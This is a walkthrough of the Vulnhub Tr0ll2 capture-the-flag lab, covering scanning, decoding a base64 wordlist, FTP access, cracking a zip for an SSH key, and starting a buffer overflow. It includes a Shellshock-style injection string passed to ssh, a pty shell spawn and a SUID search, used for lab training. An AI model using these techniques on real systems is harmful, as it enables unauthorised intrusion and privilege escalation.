Tr0ll2 Full Walkthrough from Vulnhub


In this post, You will learn how to get root in Tr0ll 2, and also we will see how to CTF the flag, Let’s begin.

To download Troll2 [Click here]

Tr0ll2 Hacking phases

  • Finding target IP
  • Nmap scan
  • Viewing target site
  • Curl Home page
  • Dirb
  • Download robots.txt
  • Enumerating cat_the_troll
  • Decoding base 64
  • FTP login for Zip file
  • Cracking zip file (Fcrackzip)
  • Elevating access
  • buffer overflow
  • Debug using GDB


Hack tr0ll 2

Finding target IP

To find the target IP, just enter arp-scan -l or enter the nediscover command.

sudo arp-scan -l

Nmap scan

I am doing the -A scan, -A stands for OS and service scan.

nmap -A

From the nmap scan we can see the port 21(FTP), 22(tcp), 80(tcp) are open.

Viewing target site

I wanted to take a look at the site so, I just pasted the target IP in the browser. The result looked the same as the Tr0ll 1 but this time phrases changed.

I found something wrong in the site so, I did curl and the site.

Curl Home page


Trolled again ????


dirb rockyou.txt

Found robots.txt

View robots.txt

Found a bunch of usernames

Download robots.txt

nano robots.txt

Doing dirb scan using the robots.txt file

dirb robots.txt

Found 4 url, and I am moving to the 4th one that is /ok_this_is_it

I wanted to view the page source

Enumerating cat_the_troll

Downloading the image we have seen

tail –n 3 cat_the_troll.jpg

Viewing last three lines

It says look deep in y0ur_self

So, I wanted to go to that link too…

Doing wget again to get the answer.txt file


The answer.txt seems to be base 64 so let’s decode it

Decoding base 64

To decode the file, just enter the below command

base64 -d answer.txt>decoded.txt

After decoding, I have found a bunch of usernames in decoded.txt

FTP login for Zip file


Username: Tr0ll

Password: Tr0ll

When getting connected to FTP we can see the first line Tr0ll as username and I guessed that should be the password. If you have played Tr0ll: 1 You know why I am saying.

We have found so just downloaded it.

Cracking zip file (Fcrackzip)

fcrackzip –u –D –p decoded.txt

Doing cat noob to view the file

cat noob
chmod 600 noob 
ssh –i noob noob@ '() ( : ;}; /bin/bash'

Elevating access

python –c "import pty;pty.spawn('/bin/bash');"
find / -perm -4000 2>/dev/null

Move to nothing_to_see_here/choose_wisely

And then execute ./r00t

buffer overflow

./pattern_create.rb -l 500

Debug using GDB

Checking the position of the identified value using pattern_offset shows that the position is located at 268.

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